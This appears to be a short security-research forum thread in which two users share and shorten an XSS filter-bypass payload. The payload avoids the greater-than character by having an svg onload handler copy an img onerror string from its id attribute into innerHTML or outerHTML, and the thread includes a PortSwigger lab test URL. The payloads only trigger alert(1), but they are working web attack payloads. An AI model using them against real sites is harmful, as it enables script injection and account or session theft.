XSS without greater than using HTML DOM reflection

[alessandrorumampuk]

Payload: <svg onload=body.innerHTML=id id=<img/src/onerror=alert(1)&gt;

Website Code: <opening_tag>{Payload}</closing_tag>

Output: <h1><svg onload=body.innerHTML=id id=<img/src/onerror=alert(1)&gt;</h1> -> <img src="" onerror="alert(1)">

[alessandrorumampuk]

This code also works: <svg onload=body.outerHTML=id id=<img/src/onerror=alert(1)&gt; or <svg onload=head.innerHTML=id id=<img/src/onerror=alert(1)&gt;

[hackvertor]

Yeah good one. You can actually reduce that one to:

<svg onload=outerHTML=id id=<img/src/onerror=alert(1)&gt;

[alessandrorumampuk]

Great!

[alessandrorumampuk]

Thanks! It works.

https://portswigger-labs.net/xss/xss.php?x=<svg%20onload=outerHTML=id%20id=<img/src/onerror=alert(1)%26gt;